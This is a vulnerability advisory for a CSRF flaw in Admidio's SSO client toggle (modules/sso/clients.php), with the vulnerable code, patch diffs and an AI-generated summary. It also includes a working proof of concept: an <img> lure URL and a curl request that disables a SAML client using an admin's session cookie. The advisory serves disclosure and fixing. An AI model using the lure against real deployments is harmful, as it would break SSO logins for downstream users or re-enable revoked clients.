Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation
Description
Summary
modules/sso/clients.php validates an adm_csrf_token on every state-changing branch except enable. The enable case loads the SAML or OIDC client by UUID, calls $client->enable($enabled), and persists the new state with no token check. Because the action is reachable via plain GET parameters, a third-party page can trick an authenticated administrator into disabling (or silently re-enabling) any configured SAML or OIDC client. Disabling an SSO client breaks every downstream relying-party application that authenticates through it.
Details
Vulnerable
Code
modules/sso/clients.php:84-115 — the file's other branches each begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);, but case 'enable': does not:
case 'delete_oidc':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$oidcService = new OIDCService($gDb, $gCurrentUser);
$client = $oidcService->getClientFromUUID($getClientUUID);
$client->delete();
echo json_encode(array('status' => 'success'));
break;
case 'enable': // <- no CSRF validation
$enabled = admFuncVariableIsValid($_GET, 'enabled', 'boolean');
$client = new SAMLClient($gDb);
$client->readDataByUuid($getClientUUID);
if ($client->isNewRecord()) {
// Not a SAML record, so try OIDC:
$client = new OIDCClient($gDb);
$client->readDataByUuid($getClientUUID);
}
if ($client->isNewRecord()) {
throw new Exception('SYS_SSO_INVALID_CLIENT');
}
$client->enable($enabled);
$client->save();
echo json_encode(['success' => true]);
break;
The enable($enabled) call is documented to set a single boolean column on the SAML / OIDC client row — smc_enabled for SAML, ocl_enabled for OIDC — and save() persists the change immediately. The handler accepts plain GET (admFuncVariableIsValid($_GET, 'enabled', 'boolean')), so a `` or auto-submitting form is sufficient.
Exploitation
Flow
- Attacker prepares a hostile page that loads (e.g.)
<img src="http://victim.example/modules/sso/clients.php?mode=enable&uuid=&enabled=0">. The client UUID can be observed by anyone who has visited the SSO settings, by anyone who has crawled the SAML metadata endpoint, or by anyone with read access to the SSO clients table — but the value is also enumerable: an admin viewing the list of SSO clients in the UI exposesdata-uuidattributes in the rendered HTML, and SSO metadata endpoints (e.g.modules/sso/saml.php?metadata=1&uuid=...) confirm valid UUIDs by returning XML. - An Admidio administrator visits the hostile page while logged in. The browser sends Admidio's session cookie (which does not set
SameSite=Strict). - The server runs
case 'enable':as the admin, setssmc_enabled=0(orocl_enabled=0), and replies{"success":true}. - The configured SAML / OIDC client is now disabled. Every downstream application authenticating through it gets
SYS_SSO_INVALID_CLIENTon its next AuthnRequest / token-endpoint call. The outage persists until an admin notices and toggles it back on.
The attacker can also flip the bit the other way: silently *re-enabling* a client that an admin had previously deactivated (perhaps because of a security concern with that relying party).
PoC
Tested on HEAD c5cde53. To produce a deterministic test target, an SSO client is provisioned directly in the DB:
# 0. seed a SAML client
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio <<'SQL'
INSERT INTO adm_saml_clients (smc_uuid, smc_org_id, smc_client_name, smc_acs_url, smc_enabled,
smc_timestamp_create, smc_usr_id_create)
VALUES ('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 1, 'Test SAML', 'https://app.example/acs', 1,
NOW(), 2);
SQL
mariadb ... admidio -e "SELECT smc_uuid, smc_client_name, smc_enabled FROM adm_saml_clients WHERE smc_client_name='Test SAML';"
smc_uuid smc_client_name smc_enabled
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee Test SAML 1
# 1. CSRF lure — admin's browser, no token supplied, GET only
curl -b $admin_cookie -i \
"http://127.0.0.1:8085/modules/sso/clients.php?mode=enable&uuid=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&enabled=0"
HTTP/1.1 200 OK
{"success":true}
# 2. observe the change
mariadb ... admidio -e "SELECT smc_enabled FROM adm_saml_clients WHERE smc_uuid='aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';"
smc_enabled
0
The change persists. The legitimate admin's UI continues to show the client as configured, but every SAML AuthnRequest fails until the bit is toggled back.
Impact
In an Admidio deployment that uses SSO for downstream relying parties, a CSRF lure targeted at an administrator results in:
- SSO outage for whichever client UUID the attacker chose. Users who depend on
app1.example/sso(or similar) cannot log in. The outage persists until a human admin notices and re-enables the client by hand. - Stealthy re-activation of a client the admin had previously deactivated for a security reason — for example, a relying party whose certificate had been compromised — by passing
enabled=1instead of0.
The impact is limited to the SAML / OIDC _enabled column; nothing else in the SSO state machine is mutated by this branch. Confidentiality is not affected. Availability is partial (A:L) because only one client at a time is hit, and only the SSO path of that client. Integrity is I:L because the _enabled bit is the only mutated column. UI:R reflects the admin-must-visit requirement; PR:N because the attacker needs no Admidio credentials of their own.
Recommended
Fix
Add the CSRF check and switch the trigger from GET to POST:
case 'enable':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
throw new Exception('SYS_INVALID_PAGE_VIEW');
}
$enabled = admFuncVariableIsValid($_POST, 'enabled', 'boolean');
$client = new SAMLClient($gDb);
$client->readDataByUuid($getClientUUID);
if ($client->isNewRecord()) {
$client = new OIDCClient($gDb);
$client->readDataByUuid($getClientUUID);
}
if ($client->isNewRecord()) {
throw new Exception('SYS_SSO_INVALID_CLIENT');
}
$client->enable($enabled);
$client->save();
echo json_encode(['success' => true]);
break;
Update the JS call site that drives the enable/disable toggle to POST the form's CSRF token (the page already renders adm_csrf_token).
A regression test should issue a GET /modules/sso/clients.php?mode=enable&uuid=&enabled=0 with an admin cookie but no token, and assert the response rejects the request and the client's _enabled column is unchanged.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Missing CSRF token validation in the `enable` branch of `modules/sso/clients.php` allows an attacker to disable or re-enable SAML/OIDC clients via a crafted GET request.
Vulnerability
The modules/sso/clients.php script in Admidio (versions prior to the fix) contains a missing CSRF token validation in the enable case. All other state-changing branches (e.g., delete_oidc) call SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']), but the enable branch does not. This branch accepts a GET parameter enabled (boolean) and a client UUID, then calls $client->enable($enabled) and $client->save() to toggle the smc_enabled (SAML) or ocl_enabled (OIDC) column. The handler is reachable via plain GET requests, making it vulnerable to cross-site request forgery. [1][2]
Exploitation
An attacker can craft a malicious web page that, when visited by an authenticated administrator, automatically sends a GET request to the vulnerable endpoint (e.g., ``). No user interaction beyond visiting the page is required; the request is executed in the context of the administrator's session. The attacker must know or guess a valid client UUID, but these are often predictable or enumerable. [1][2]
Impact
Successful exploitation allows an attacker to disable any configured SAML or OIDC client, or re-enable a previously disabled one. Disabling an SSO client breaks authentication for all downstream relying-party applications that depend on it, effectively causing a denial of service for those services. The attacker does not gain code execution or data access, but can disrupt authentication flows. [1][2]
Mitigation
The vulnerability was fixed in Admidio version 4.3.12 (released 2026-05-29). Users should upgrade to this version or later. No workaround is available for earlier versions; the fix adds CSRF token validation to the enable branch. The CVE is not listed in CISA's Known Exploited Vulnerabilities catalog as of publication. [1][2]
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
3996e287d94f7CSRF token check in enablen SSO missing #2041
2 files changed · +15 −7
modules/sso/clients.php+5 −1 modified@@ -96,7 +96,11 @@ echo json_encode(array('status' => 'success')); break; case 'enable': - $enabled = admFuncVariableIsValid($_GET, 'enabled', 'boolean'); + // check the CSRF token of the form against the session token + SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); + + $enabled = admFuncVariableIsValid($_POST, 'enabled', 'boolean'); + $getClientUUID = admFuncVariableIsValid($_POST, 'uuid', 'uuid'); $client = new SAMLClient($gDb); $client->readDataByUuid($getClientUUID); if ($client->isNewRecord()) {
src/UI/Presenter/SSOClientPresenter.php+10 −6 modified@@ -773,11 +773,14 @@ function generateClientSecret(length = 32) { /** - * Display a toggle to enable/disable a client (via a json call). - * @param $name + * Display a toggle to enable/disable a client (via a JSON call). + * @param SSOClient $client + * @return string + * @throws Exception */ - protected function generateEnableLink(SSOClient $client) { - global $gL10n; + protected function generateEnableLink(SSOClient $client): string + { + global $gL10n, $gCurrentSession; $enabled = $client->isEnabled(); $uuid = $client->getValue($client->getColumnPrefix() . '_uuid'); @@ -960,9 +963,10 @@ public function createList(): void var currentlyEnabled = \$link.data('enabled') === 1 || \$link.data('enabled') === '1'; var newEnabled = currentlyEnabled ? 0 : 1; - $.get('clients.php?mode=enable', { + $.post('clients.php?mode=enable', { uuid: \$link.data('uuid'), - enabled: newEnabled + enabled: newEnabled, + adm_csrf_token: '" . $gCurrentSession->getCSRFToken() . "' }) .done(function (response) { var data = typeof response === 'string' ? JSON.parse(response) : response;
75dbaaed6e26CSRF protection on SSO key export missing #2049
1 file changed · +4 −1
modules/sso/keys.php+4 −1 modified@@ -87,7 +87,10 @@ break; case 'export': - // SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); + // check form field input and sanitized it from malicious content + $passwordForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']); + $passwordForm->validate($_POST); + $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password);
f7dd842c4186Missing CSRF token check when sending new login data #2038
1 file changed · +4 −0
modules/registration.php+4 −0 modified@@ -125,6 +125,10 @@ } } elseif ($getMode === 'send_login') { // User already exists and has a login than sent access data with a new password + + // check the CSRF token of the form against the session token + SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); + $user = new User($gDb, $gProfileFields); $user->readDataByUuid($getUserUUIDAssigned); $user->sendNewPassword();
Vulnerability mechanics
Root cause
"Missing CSRF token validation in the `enable` branch of `modules/sso/clients.php` allows an attacker to toggle a SAML or OIDC client's enabled state without the administrator's consent."
Attack vector
An attacker crafts a page that issues a GET request to `modules/sso/clients.php?mode=enable&uuid=<client-uuid>&enabled=0` (or `enabled=1`). Because the handler accepts plain GET parameters and performs no CSRF token validation, a logged-in administrator's browser can be tricked via an `<img src=...>` tag or an auto-submitting form [ref_id=1]. The client UUID is discoverable from the SSO settings UI or SAML metadata endpoints. The session cookie lacks `SameSite=Strict`, enabling cross-site delivery.
Affected code
The vulnerability resides in `modules/sso/clients.php` at the `case 'enable':` branch (lines ~84–115). Unlike every other state-changing branch in that file, this case does not call `SecurityUtils::validateCsrfToken()`. The patch [patch_id=3130374] adds the missing CSRF token check and switches the input source from `$_GET` to `$_POST`.
What the fix does
The patch [patch_id=3130374] adds `SecurityUtils::validateCsrfToken($_POST['adm_csrf_token'])` at the top of the `case 'enable':` block and changes the input variables from `$_GET` to `$_POST`. It also updates the JavaScript call site in `SSOClientPresenter.php` to use `$.post` instead of `$.get` and to include the CSRF token. This ensures that only a same-origin form submission carrying a valid token can toggle a client's enabled state.
Preconditions
- inputThe attacker must know or be able to enumerate the UUID of a target SAML or OIDC client.
- authAn authenticated Admidio administrator must visit a page controlled by the attacker while their session cookie is active.
- configThe administrator's browser must not enforce `SameSite=Strict` on the Admidio session cookie.
- networkThe request is sent as a GET (no CSRF token required), so no special network position is needed beyond the ability to serve HTML to the admin.
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.